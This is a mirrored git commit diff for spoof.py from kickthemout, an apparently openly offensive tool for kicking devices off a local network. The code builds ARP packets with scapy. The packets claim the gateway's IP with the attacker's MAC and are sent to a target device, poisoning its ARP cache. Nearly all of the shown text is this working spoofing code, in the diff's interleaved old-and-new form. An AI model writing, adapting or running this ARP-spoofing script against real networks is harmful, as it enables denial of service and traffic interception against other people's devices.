mirror of
https://github.com/k4m4/kickthemout.git
synced 2025-07-03 11:58:13 +02:00
Successful KickONEOff function
This commit is contained in:
parent
bb5fe3956b
commit
7da2359a29
3 changed files with 184 additions and 88 deletions
59
spoof.py
59
spoof.py
|
@ -1,3 +1,13 @@
|
|||
#!/usr/bin/env python
|
||||
# -.- coding: utf-8 -.-
|
||||
# spoof.py
|
||||
# authors: k4m4 & xdavidhu
|
||||
|
||||
"""
|
||||
Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
|
||||
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
|
||||
"""
|
||||
|
||||
import sys
|
||||
from scapy.all import (
|
||||
get_if_hwaddr,
|
||||
|
@ -7,40 +17,27 @@ from scapy.all import (
|
|||
sendp
|
||||
)
|
||||
|
||||
try:
|
||||
my_mac = sys.argv[1]
|
||||
interface = sys.argv[2]
|
||||
my_ip = sys.argv[3]
|
||||
target_ip = sys.argv[4]
|
||||
target_mac = sys.argv[5]
|
||||
except:
|
||||
print "Usage: sudo python spoof.py [MY_MAC] [IFACE] [GATEWAY_IP] [TARGET_IP] [TARGET_MAC]"
|
||||
exit()
|
||||
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
|
||||
|
||||
ether = Ether()
|
||||
ether.src = my_mac # Default: network card mac
|
||||
ether = Ether()
|
||||
ether.src = my_mac
|
||||
|
||||
arp = ARP()
|
||||
arp.psrc = my_ip
|
||||
arp.hwsrc = my_mac
|
||||
arp = ARP()
|
||||
arp.psrc = gateway_ip
|
||||
arp.hwsrc = my_mac
|
||||
|
||||
arp = arp
|
||||
arp.pdst = target_ip # Default: 0.0.0.0
|
||||
arp.hwdst = target_mac # Default: 00:00:00:00:00:00
|
||||
arp = arp
|
||||
arp.pdst = target_ip
|
||||
arp.hwdst = target_mac
|
||||
|
||||
ether = ether
|
||||
ether.src = my_mac
|
||||
ether.dst = target_mac # Default: ff:ff:ff:ff:ff:f
|
||||
ether = ether
|
||||
ether.src = my_mac
|
||||
ether.dst = target_mac
|
||||
|
||||
def craftRequestPkt():
|
||||
packet = ether/arp
|
||||
sendp(x=packet, inter=1, count=1000)
|
||||
|
||||
def craftReplyPkt():
|
||||
arp.op = 2
|
||||
packet = ether/arp
|
||||
sendp(x=packet, inter=1, count=1000)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
craftReplyPkt()
|
||||
|
||||
def broadcastPacket():
|
||||
packet = ether/arp
|
||||
sendp(x=packet, verbose=False)
|
||||
|
||||
broadcastPacket()
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue